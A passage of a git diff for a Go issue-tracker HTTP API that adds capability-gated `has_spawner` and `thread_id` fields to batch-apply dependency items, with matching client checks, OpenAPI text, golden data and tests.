`issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` diff --git a/internal/httpapi/batch_apply.go b/internal/httpapi/batch_apply.go index 16b9d4a63..723ce8615 100644 --- a/internal/httpapi/batch_apply.go +++ b/internal/httpapi/batch_apply.go @@ -102,7 +102,7 @@ var ( applyLabelPatchMembers = []string{"add", "remove", "replace"} applyMetadataPatchMembers = []string{"merge", "replace", "set", "unset"} applyCloseItemMembers = []string{"expected_version", "force", "reason", "session", "target"} - applyDepAddItemMembers = []string{"metadata", "source", "target", "type"} + applyDepAddItemMembers = []string{"has_spawner", "metadata", "source", "target", "thread_id", "type"} // applyItemKinds is the tag vocabulary, paired with the payload member each // value names. It is one map rather than a switch so the enum, the member @@ -831,6 +831,28 @@ func applyDepAddItem(prefix string, raw map[string]json.RawMessage) (*issueops.D if metadata, present := raw["metadata"]; present { item.Metadata = string(metadata) } + // has_spawner and thread_id are additive members gated client-side by + // issues.batchApply.depAddLineage (routes.go CapBatchApplyDepAddLineage): + // the server always understands them once wired, so there is no + // capability check here — the gate lives entirely in the client that + // decides whether to SEND them against an older server. + hasSpawner, res := applyBoolMember(raw, prefix, "has_spawner") + if res != nil { + return nil, res + } + item.HasSpawner = hasSpawner + threadID, res := applyTextMember(raw, prefix, "thread_id") + if res != nil { + return nil, res + } + // The document's minLength: 1. An ABSENT thread_id already names no thread + // (and a re-add keeps the stored one), so an empty one would only be a + // second spelling of it — refused, as an empty `type` is, rather than read. + if _, present := raw["thread_id"]; present && threadID == "" { + res := InvalidArgument(prefix+"thread_id", ReasonInvalidValue, "`thread_id` must not be empty; omit it to name no thread") + return nil, &res + } + item.ThreadID = threadID return item, nil } diff --git a/internal/httpapi/batch_apply_test.go b/internal/httpapi/batch_apply_test.go index a60c8ea54..824775f21 100644 --- a/internal/httpapi/batch_apply_test.go +++ b/internal/httpapi/batch_apply_test.go @@ -84,7 +84,7 @@ func TestApplyBatchForwardsEveryLevelOfTheDocumentedBody(t *testing.T) { "expected_version":"42"}}, {"kind":"dep_add","dep_add":{ "source":{"key":"root"},"target":{"id":"bd-7"},"type":"waits-for", - "metadata":{"gate":"any-children"}}} + "metadata":{"gate":"any-children"},"has_spawner":true,"thread_id":"th-plan"}} ] }`) if resp.StatusCode != http.StatusOK { @@ -240,6 +240,11 @@ func TestApplyBatchForwardsEveryLevelOfTheDocumentedBody(t *testing.T) { if depAdd.Metadata != `{"gate":"any-children"}` { t.Errorf("dep_add.metadata = %q, want the caller's bytes unaltered", depAdd.Metadata) } + // The lineage members reach the role as sent: issues.batchApply.depAddLineage + // gates whether a CLIENT sends them, and this server always reads them. + if !depAdd.HasSpawner || depAdd.ThreadID != "th-plan" { + t.Errorf("dep_add.has_spawner/thread_id = %v/%q, want true/%q", depAdd.HasSpawner, depAdd.ThreadID, "th-plan") + } } // TestApplyBatchAnswersWithTheLeanResult pins the response side: ids, a @@ -520,6 +525,29 @@ func TestApplyBatchRejectsTheShapesTheDocumentRefuses(t *testing.T) { } } +// TestApplyBatchRefusesAnEmptyThreadID pins the document's minLength: 1 on a +// dep_add item's thread_id. An absent member already names no thread, so an +// empty one is refused by name rather than read as a second spelling of it. +// The client never sends one (setItemString omits an empty value), so only a +// direct-wire caller reaches this. +func TestApplyBatchRefusesAnEmptyThreadID(t *testing.T) { + applier := &roleBatchApplier{} + ts := newApplyBatchServer(t, applier) + + resp := ts.claim(t, batchApplyPath, `{"actor":"alice","items":[{"kind":"dep_add","dep_add":{ + "source":{"id":"a"},"target":{"id":"b"},"type":"blocks","thread_id":""}}]}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["param"] != "items[0].dep_add.thread_id" || body["reason"] != "invalid_value" { + t.Errorf("param/reason = %v/%v, want items[0].dep_add.thread_id/invalid_value", body["param"], body["reason"]) + } + if len(applier.requests()) != 0 { + t.Errorf("the role was called for a refused request; nothing may reach it") + } +} + // TestApplyBatchRefusesMoreItemsThanTheRoleAccepts pins the cap at the edge, so // an over-long plan costs no database work. The number is the role's own // constant rather than a second copy of it. diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index 2dbd4f291..4c426275a 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -149,6 +149,18 @@ const CapIssuesSweepLiveDependents = "issues.sweep.liveDependents" // before sending the member to a server that may predate it. const CapIssuesSweepLimit = "issues.sweep.limit" +// CapBatchApplyDepAddLineage is the behavior capability that advertises +// ApplyDepAddItem's `has_spawner` and `thread_id` members (batch_apply.go): +// additive fields a `dep_add` item may carry alongside `source`, `target`, +// `type` and `metadata`. Like CapBatchApplyLarge it names members of an +// EXISTING operation (issues.batchApply already has its own per-operation +// token) rather than a route of its own, so it rides the same +// behaviorCapabilities list. An older server predating this token answers +// either member with `400 invalid_argument`/`unknown_parameter`. The client +// MUST check this token before sending either member to a server that may +// predate it; it refuses locally before the dial when the token is absent. +const CapBatchApplyDepAddLineage = "issues.batchApply.depAddLineage" + // customMethodTarget splits the custom method off the segment the router // matched, and reports the row that claims it. // @@ -899,6 +911,7 @@ func (r route) specPathOf() string { var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort, CapIssuesCountScope, CapIssuesSweepWispsPlane, CapIssuesSweepLiveDependents, CapIssuesSweepLimit, + CapBatchApplyDepAddLineage, } // Capabilities lists what this build advertises in ContextResponse.capabilities: diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index 514190e91..6f787874c 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -636,7 +636,8 @@ func TestCapabilitiesAdvertiseEveryImplementedOperation(t *testing.T) { // same list. Both are spelled literally here to keep this an independent // oracle rather than a second call to the code under test. want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort", "issues.count.scope", - "issues.sweep.wispsPlane", "issues.sweep.liveDependents", "issues.sweep.limit") + "issues.sweep.wispsPlane", "issues.sweep.liveDependents", "issues.sweep.limit", + "issues.batchApply.depAddLineage") slices.Sort(want) if !slices.Equal(got, want) { t.Errorf("capabilities = %v, want %v", got, want) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 784f24f22..456693a41 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -7969,9 +7969,13 @@ components: `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering - `unknown_parameter`, and `issues.sweep.limit`, which announces + `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than - silently answering `unknown_parameter`. The + silently answering `unknown_parameter`, and + `issues.batchApply.depAddLineage`, which announces that a + `dep_add` item on `POST /v0/beads/issues:batchApply` accepts + `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than + a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. @@ -10301,6 +10305,12 @@ components: a typed spelling lowers to these same bytes, and the blob carries members a two-field typed member could not express. One spelling, and it is this one. + + + `has_spawner` and `thread_id` require `issues.batchApply.depAddLineage`: + a client naming either on a server that has not advertised the token + refuses locally before the dial rather than sending bytes an older + server would answer with its own `400` for an unknown member. properties: source: $ref: '#/components/schemas/Ref' @@ -10316,6 +10326,24 @@ components: a known-types list, so a workspace's own type passes. metadata: $ref: '#/components/schemas/MetadataValue' + has_spawner: + type: boolean + description: >- + Gated by `issues.batchApply.depAddLineage`. Ignored for every + `type` but `waits-for`: on a `waits-for` edge, `true` stamps + `metadata.spawner_id` with this item's `target` (the id `bd create + --graph`'s spawner_key/spawner_id resolved to), so a reader learns + which spawned row to watch without re-deriving it from the graph + plan. Absent or `false` leaves `metadata` exactly as given. + thread_id: + type: string + minLength: 1 + maxLength: 255 + description: >- + Gated by `issues.batchApply.depAddLineage`. A plain column on the + stored edge, separate from `metadata`'s blob — the graph-plan + thread this edge belongs to, for a reader that groups edges by + thread without parsing every edge's metadata. ApplyBatchResponse: type: object diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index 1dccd173c..1bff0651a 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -264,6 +264,12 @@ "type": "string", "required": true }, + { + "schema": "ApplyDepAddItem", + "member": "has_spawner", + "type": "boolean", + "required": false + }, { "schema": "ApplyDepAddItem", "member": "metadata", @@ -283,6 +289,12 @@ "type": "object", "required": true }, + { + "schema": "ApplyDepAddItem", + "member": "thread_id", + "type": "string", + "required": false + }, { "schema": "ApplyDepAddItem", "member": "type", diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 702900172..f6cb1cbee 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -114,6 +114,7 @@ go_test( "required_served_tier_test.go", "roles_graph_cycles_test.go", "roles_test.go", + "served_batch_apply_large_test.go", "served_batch_apply_test.go", "served_batch_close_test.go", "served_batch_getter_test.go", @@ -181,6 +182,7 @@ go_test( "//internal/httpclient/wire", "//internal/storage", "//internal/storage/backends", + "//internal/storage/batchfixtures", "//internal/storage/domain", "//internal/storage/embeddeddolt", "//internal/storage/issueops", diff --git a/internal/httpclient/batchapplier.go b/internal/httpclient/batchapplier.go index dae4ed8f0..b39c12986 100644 --- a/internal/httpclient/batchapplier.go +++ b/internal/httpclient/batchapplier.go @@ -7,6 +7,7 @@ import ( "errors" "fmt" "reflect" + "slices" "strings" "github.com/steveyegge/beads/internal/httpapi/apigen" @@ -84,6 +85,9 @@ func (b *httpBatchApplier) ApplyBatch(ctx context.Context, req issueops.ApplyBat return issueops.ApplyBatchResult{}, invalid( "a batch apply carries %d items; the limit is %d per request", len(req.Items), issueops.MaxApplyBatchItems) } + if err := b.refuseUnservedDepAddLineage(ctx, req); err != nil { + return issueops.ApplyBatchResult{}, err + } body, err := applyBatchBody(req) if err != nil { @@ -96,6 +100,41 @@ func (b *httpBatchApplier) ApplyBatch(ctx context.Context, req issueops.ApplyBat return decodeApplyBatchResult(req, resp) } +// refuseUnservedDepAddLineage scans the whole plan once, before the dial, for +// a dep_add item naming ThreadID, or HasSpawner on a waits-for edge (the one +// type the role reads it on; see depAddNamesSpawner). Neither member is served +// unless the handshake snapshot advertises wire.CapBatchApplyDepAddLineage: +// an older server has never heard of either and would answer them with its +// generic unknown-member 400 at best, or (once a server DOES know the +// members but this gate were skipped) silently honor a field the caller +// never meant to send past an unupgraded fleet. So this checks the +// capability once for the whole request — never per item, and never after +// the dial. +func (b *httpBatchApplier) refuseUnservedDepAddLineage(ctx context.Context, req issueops.ApplyBatchRequest) error { + carriesLineage := false + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd && depAddCarriesLineage(item.DepAdd) { + carriesLineage = true + break + } + } + if !carriesLineage { + return nil + } + snap, err := b.store.snapshot(ctx) + if err != nil { + return err + } + // snap is nil, nil whenever Store.snapshot has no transport AND no cached + // handshake (a Store built with a nil wire): nothing was ever advertised, + // so this falls straight through to the refusal below rather than + // dereferencing a nil *apigen.ContextResponse. + if snap != nil && slices.Contains(snap.Capabilities, wire.CapBatchApplyDepAddLineage) { + return nil + } + return b.store.unsupportedCapability("BatchApplier.ApplyBatch", wire.CapBatchApplyDepAddLineage) +} + // applyBatchBody projects the role's request onto the wire body. func applyBatchBody(req issueops.ApplyBatchRequest) (wire.ApplyBatchRequest, error) { items := make([]wire.ApplyItem, 0, len(req.Items)) @@ -368,15 +407,6 @@ func applyDepAddItemBody(item *issueops.DepAddItem) (*apigen.ApplyDepAddItem, er if item.Type == "" { return nil, invalid("a dep_add item names no edge type") } - // ApplyDepAddItem publishes neither member below, so each refuses where the - // role would store something the wire cannot say. The spawner flag only - // does that on a waits-for edge; the role ignores it on every other type. - switch { - case item.HasSpawner && item.Type == issueops.DepWaitsFor: - return nil, refuse(encode.OpApplyBatch, "W-DepAddItem.HasSpawner") - case item.ThreadID != "": - return nil, refuse(encode.OpApplyBatch, "W-DepAddItem.ThreadID") - } out := &apigen.ApplyDepAddItem{Source: source, Target: target, Type: string(item.Type)} // A BLANK blob is ABSENT, not malformed, and reading it any other way is a // real bug rather than strictness: the role's own rule is that an absent, @@ -390,9 +420,34 @@ func applyDepAddItemBody(item *issueops.DepAddItem) (*apigen.ApplyDepAddItem, er } out.Metadata = apigen.MetadataValue(blob) } + // HasSpawner and ThreadID are gated by CapBatchApplyDepAddLineage + // (checked in ApplyBatch, before the dial, over the whole request) — + // this projection only encodes what the gate already cleared, which is + // why HasSpawner is sent only where depAddNamesSpawner holds. + setItemBool(&out.HasSpawner, depAddNamesSpawner(item)) + setItemString(&out.ThreadId, item.ThreadID) return out, nil } +// depAddCarriesLineage reports whether a dep_add item names a member +// CapBatchApplyDepAddLineage gates: ThreadID on any edge, HasSpawner only +// where depAddNamesSpawner holds. Used to scan a whole request once before +// the dial, rather than discovering the gap one item at a time after bytes +// already left for the wire. +func depAddCarriesLineage(item *issueops.DepAddItem) bool { + return item != nil && (depAddNamesSpawner(item) || item.ThreadID != "") +} + +// depAddNamesSpawner reports whether a dep_add item's HasSpawner means +// anything: the role reads it on a waits-for edge only and ignores it on +// every other type. Off a waits-for edge the flag is therefore dropped, not +// sent, and never needs the capability — dropping it loses nothing the role +// would store, where refusing it would fail a mixed-version request the +// flag cannot change. +func depAddNamesSpawner(item *issueops.DepAddItem) bool { + return item.HasSpawner && item.Type == issueops.DepWaitsFor +} + // applyRefBody projects one ref, applying the exactly-one rule the schema // cannot state. // diff --git a/internal/httpclient/batchapplier_test.go b/internal/httpclient/batchapplier_test.go index 3607f59a6..a29e38033 100644 --- a/internal/httpclient/batchapplier_test.go +++ b/internal/httpclient/batchapplier_test.go @@ -12,10 +12,24 @@ import ( "github.com/steveyegge/beads/internal/httpapi/apigen" "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) +// applyRoleWithSnapshot is applyRole's twin for pinning exactly what the +// handshake advertises, the same idiom counts_test.go's +// countRoleWithSnapshot uses: passing a snapshot straight through New rather +// than accepting applyRole's bare stubStore default. +func applyRoleWithSnapshot(t *testing.T, w *stubWire, snap *apigen.ContextResponse) issueops.BatchApplier { + t.Helper() + applier, err := New(testTarget(t), w, snap).BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + return applier +} + // The batch-apply role's unit gates: what the client DECIDES before the dial, // and what it refuses to believe about the answer. // @@ -52,8 +66,12 @@ func applyOneCreate() issueops.ApplyBatchRequest { // The create item's issue vocabulary is EXACTLY the single create's, so the // partition tables are shared rather than copied and this drives the same sweep // against a different operation and a different ledger row. The patch's own -// excluded member — parent_id — is the second half, and the edge item's two — -// the spawner flag and the thread — are the third. +// excluded member — parent_id — is the second half. +// +// The edge item's spawner flag and thread were a third population here before +// issues.batchApply.depAddLineage: both are CARRIED now, gated on the +// capability rather than refused outright — see +// TestApplyBatchRefusesUnservedDepAddLineageBeforeDialing. func TestApplyBatchRefusesEveryMemberTheWireExcludes(t *testing.T) { t.Run("the create item's carried members are the wire's own", func(t *testing.T) { published := bodyMembers(t, reflect.TypeOf(apigen.ApplyCreateItem{})) @@ -164,34 +182,18 @@ func TestApplyBatchRefusesEveryMemberTheWireExcludes(t *testing.T) { } }) - t.Run("the edge item's two unpublished members refuse", func(t *testing.T) { - for _, test := range []struct { - member string - row string - set func(*issueops.DepAddItem) - }{ - {"HasSpawner", "W-DepAddItem.HasSpawner", func(item *issueops.DepAddItem) { item.HasSpawner = true }}, - {"ThreadID", "W-DepAddItem.ThreadID", func(item *issueops.DepAddItem) { item.ThreadID = "th-1" }}, - } { - t.Run(test.member, func(t *testing.T) { - item := &issueops.DepAddItem{ - Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, Type: issueops.DepWaitsFor, - } - test.set(item) - w := &stubWire{} - _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ - Actor: "planner", - Items: []issueops.ApplyItem{{Kind: issueops.ItemDepAdd, DepAdd: item}}, - }) - assertRefusedBy(t, err, test.row) - if len(w.calls) != 0 { - t.Errorf("the refused member reached the wire: %v", w.calls) - } - }) - } - }) + // The edge item's HasSpawner/ThreadID used to refuse here + // (W-DepAddItem.HasSpawner on a waits-for edge, W-DepAddItem.ThreadID on + // any). Both are now CARRIED, gated by issues.batchApply.depAddLineage on + // the same edges — see + // TestApplyBatchRefusesUnservedDepAddLineageBeforeDialing for the pre-dial + // capability refusal this subtest retired in favor of. t.Run("a spawner flag on any other edge type is the role's no-op, and is not refused", func(t *testing.T) { + // applyRole's snapshot advertises no capability at all: the flag is + // gated only where the role reads it, so a blocks edge carrying it + // dials an older server rather than refusing — and drops the flag + // instead of sending a member that server would answer with a 400. w := &stubWire{} _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ Actor: "planner", @@ -202,8 +204,12 @@ func TestApplyBatchRefusesEveryMemberTheWireExcludes(t *testing.T) { if err != nil { t.Fatalf("a spawner flag on a blocks edge refused: %v", err) } - if got := w.lastApply.Items[0].DepAdd; got == nil || got.Type != string(issueops.DepBlocks) { - t.Errorf("the encoded edge = %+v, want the caller's blocks edge", got) + got := w.lastApply.Items[0].DepAdd + if got == nil || got.Type != string(issueops.DepBlocks) { + t.Fatalf("the encoded edge = %+v, want the caller's blocks edge", got) + } + if got.HasSpawner != nil { + t.Errorf("has_spawner = %v on a blocks edge, want it dropped: the role ignores it there", *got.HasSpawner) } }) @@ -997,3 +1003,91 @@ func TestTheApplyLabelPatchIsTheWholeEdit(t *testing.T) { t.Error("the clear invented an add member") } } + +// TestApplyBatchRefusesUnservedDepAddLineageBeforeDialing is the 2026-10 +// Opus-review HIGH-1 finding: refuseUnservedDepAddLineage (batchapplier.go) +// carried no coverage at all — deleting the function and its call site +// passed every test that existed before this one. +// +// A dep_add item naming ThreadID on any edge, or HasSpawner on a waits-for +// edge, dialed against a server that does not advertise +// CapBatchApplyDepAddLineage, must refuse BEFORE dialing with +// *storage.ErrUnsupported naming the capability. A plan that touches neither +// field must still dial normally against the SAME masked server: the gate +// scopes the two members, not the operation. (HasSpawner off a waits-for edge +// is the role's no-op and dials too — see +// TestApplyBatchRefusesEveryMemberTheWireExcludes.) +func TestApplyBatchRefusesUnservedDepAddLineageBeforeDialing(t *testing.T) { + masked := &apigen.ContextResponse{BdVersion: "1.2.3"} // no CapBatchApplyDepAddLineage + depAddPlan := func(item issueops.DepAddItem) issueops.ApplyBatchRequest { + return issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{Kind: issueops.ItemDepAdd, DepAdd: &item}}, + } + } + + for _, tc := range []struct { + name string + item issueops.DepAddItem + }{ + { + name: "HasSpawner", + item: issueops.DepAddItem{ + Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, + Type: "waits-for", HasSpawner: true, + }, + }, + { + name: "ThreadID", + item: issueops.DepAddItem{ + Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, + Type: "waits-for", ThreadID: "t-1", + }, + }, + { + // Unlike HasSpawner, a thread is stored on every edge type. + name: "ThreadID on a blocks edge", + item: issueops.DepAddItem{ + Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, + Type: "blocks", ThreadID: "t-1", + }, + }, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{} + _, err := applyRoleWithSnapshot(t, w, masked).ApplyBatch(t.Context(), depAddPlan(tc.item)) + if err == nil { + t.Fatal("ApplyBatch returned no error, want a pre-dial capability refusal") + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Capability != wire.CapBatchApplyDepAddLineage { + t.Errorf("Capability = %q, want %q", unsup.Capability, wire.CapBatchApplyDepAddLineage) + } + if len(w.calls) != 0 { + t.Errorf("dialed %d times, want 0: a pre-dial refusal must never reach the wire", len(w.calls)) + } + }) + } + + t.Run("neither field set still dials", func(t *testing.T) { + dependsOn := "bd-2" + w := &stubWire{applied: &apigen.ApplyBatchResponse{ + Keys: map[string]string{}, + Items: []apigen.ApplyItemResult{ + {Kind: "dep_add", IssueId: "bd-1", DependsOnId: &dependsOn, Changed: true, Revision: "0"}, + }, + }} + _, err := applyRoleWithSnapshot(t, w, masked).ApplyBatch(t.Context(), depAddPlan(issueops.DepAddItem{ + Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, Type: "waits-for", + })) + if err != nil { + t.Fatalf("ApplyBatch with no lineage fields set: %v", err) + } + if len(w.calls) == 0 { + t.Error("the plan never reached the wire, want a dial: the gate scopes HasSpawner/ThreadID, not the operation") + } + }) +} diff --git a/internal/httpclient/counter.go b/internal/httpclient/counter.go index 8fe62e1ea..54b11c696 100644 --- a/internal/httpclient/counter.go +++ b/internal/httpclient/counter.go @@ -119,7 +119,11 @@ func (c httpCounter) refuseUnservedScope(ctx context.Context, op string, req iss if err != nil { return err } - if slices.Contains(snap.Capabilities, wire.CapCountScope) { + // snap is nil, nil whenever Store.snapshot has no transport AND no cached + // handshake (a Store built with a nil wire): nothing was ever advertised, + // so this falls straight through to the refusal below rather than + // dereferencing a nil *apigen.ContextResponse. + if snap != nil && slices.Contains(snap.Capabilities, wire.CapCountScope) { return nil } return c.store.unsupportedCapability(op, wire.CapCountScope) diff --git a/internal/httpclient/counts_test.go b/internal/httpclient/counts_test.go index af3c67793..ddfa84b1d 100644 --- a/internal/httpclient/counts_test.go +++ b/internal/httpclient/counts_test.go @@ -736,3 +736,46 @@ func TestCountScopeRefusesLocallyWhenTheServerLacksTheCapability(t *testing.T) { } }) } + +// TestCounterRefusesScopeGracefullyWithNoTransportAndNoSnapshot is the 2026-10 +// Opus-review LOW-6 finding: Store.snapshot returns (nil, nil) when a Store +// carries neither a wire NOR a cached handshake, and Store.Counter() — unlike +// Sweeper() and BatchApplier() — never calls roleWire first, so a Counter +// built this way is reachable through the ordinary public accessor. Before +// the nil guard in refuseUnservedScope, a scoped count against such a Counter +// paniced on snap.Capabilities rather than refusing. +// +// Passing a nil snapshot through New is the direct, minimal reproduction: +// Store.Counter() builds on whatever New was given, with no roleWire gate to +// go through first. +func TestCounterRefusesScopeGracefullyWithNoTransportAndNoSnapshot(t *testing.T) { + counter, err := New(testTarget(t), nil, nil).Counter() + if err != nil { + t.Fatalf("Counter(): %v", err) + } + + _, err = counter.Count(t.Context(), issueops.CountRequest{ParentID: "bd-1"}) + if err == nil { + t.Fatal("Count returned no error, want a graceful capability refusal rather than a panic") + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Capability != wire.CapCountScope { + t.Errorf("Capability = %q, want %q", unsup.Capability, wire.CapCountScope) + } + + _, err = counter.CountByGroup(t.Context(), issueops.CountByGroupRequest{ + Filter: issueops.CountRequest{NoParent: true}, GroupBy: issueops.CountGroupStatus, + }) + if err == nil { + t.Fatal("CountByGroup returned no error, want a graceful capability refusal rather than a panic") + } + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Capability != wire.CapCountScope { + t.Errorf("Capability = %q, want %q", unsup.Capability, wire.CapCountScope) + } +} diff --git a/internal/httpclient/encode/ledger.go b/internal/httpclient/encode/ledger.go index 605226c27..f40002da3 100644 --- a/internal/httpclient/encode/ledger.go +++ b/internal/httpclient/encode/ledger.go @@ -759,7 +759,9 @@ func writeSideRows() []Row { // createIssue's own edge publishes `reverse` and `metadata` (its issue // HAS an id for a target to point back at, which a batch item does // not), so the client sends both there. Only ThreadID is refused on - // both, because no operation publishes a thread member. + // both, because neither create schema publishes a thread member — a + // batch apply's dep_add item does, which retired its own row + // (W-DepAddItem.ThreadID) but not these. createDependencyRow("Reverse", "an edge written from the target back to the new issue refuses ON A BATCH CREATE", "BatchCreateDependency carries target_id and type only; dropping Reverse would write the edge in the OPPOSITE direction from the one asked for, which is a different graph. createIssue's CreateIssueDependency DOES publish it, and the single-create path sends it"), createDependencyRow("Metadata", "typed edge metadata refuses ON A BATCH CREATE", @@ -834,21 +836,20 @@ func writeSideRows() []Row { PinnedBy: applyPin, }, { - ID: "W-DepAddItem.HasSpawner", Kind: KindRefuse, + ID: "W-DepAddItem.HasSpawner", Kind: KindRetired, Type: tyApplyDepAddItem, Field: "HasSpawner", - What: "a waits-for edge ITEM that names its spawner refuses", - Why: "ApplyDepAddItem publishes source, target, type and metadata and no spawner member, and the flag asks for a write only the ROLE can make: metadata's spawner_id, stamped from the resolved target once every id in the batch exists, because a target named by key has no id before then. " + - "Dropping the flag would store the edge's gate-only metadata, so an edge whose caller named a spawner would carry none. On every other edge type the role ignores the flag and stores the same row either way, so there it is dropped rather than refused. Upstream ask: a spawner member on ApplyDepAddItem, which retires this row", - SpecRow: "D8 refuse-not-drop", + What: "a waits-for edge ITEM that names its spawner used to refuse", + Why: "RETIRED by issues.batchApply.depAddLineage (S5). ApplyDepAddItem now publishes `has_spawner` — the write this row said only the role could make, metadata's spawner_id stamped from the resolved target — gated on the capability rather than dropped: a caller on a server that has not advertised the token refuses locally before the dial (BatchApplier.refuseUnservedDepAddLineage), and a caller on a server that has sends the member exactly as given. " + + "The flag is sent, and gated, on a waits-for edge only, the one type the role reads it on. Off a waits-for edge it is the role's no-op, so the client drops it there without loss — the stored row is the same either way — rather than refusing a request the flag cannot change, or sending an older server a member it answers with a 400", + SpecRow: "D8 refuse-not-drop (RETIRED)", PinnedBy: applyPin, }, { - ID: "W-DepAddItem.ThreadID", Kind: KindRefuse, + ID: "W-DepAddItem.ThreadID", Kind: KindRetired, Type: tyApplyDepAddItem, Field: "ThreadID", - What: "associating an edge ITEM with a discussion thread refuses", - Why: "ApplyDepAddItem publishes no thread member, and no operation on this surface does: W-CreateDependency.ThreadID refuses the same column on both create edges. Dropping it would store the edge with no thread, so a replies-to edge would lose the conversation it was written for. " + - "It is a row of its own rather than a citation of that one for W-CreateItem.Issue's reason: the operation is different", - SpecRow: "D8 refuse-not-drop", + What: "associating an edge ITEM with a discussion thread used to refuse", + Why: "RETIRED with W-DepAddItem.HasSpawner (S5, issues.batchApply.depAddLineage). ApplyDepAddItem now publishes `thread_id` as a plain column on the stored edge, gated by the same capability and the same pre-dial refusal rather than dropped — a caller naming a thread on an unadvertising server is refused before the dial, never silently stored with no thread", + SpecRow: "D8 refuse-not-drop (RETIRED)", PinnedBy: applyPin, }, { diff --git a/internal/httpclient/served_batch_apply_large_test.go b/internal/httpclient/served_batch_apply_large_test.go new file mode 100644 index 000000000..424dc41e9 --- /dev/null +++ b/internal/httpclient/served_batch_apply_large_test.go @@ -0,0 +1,155 @@ 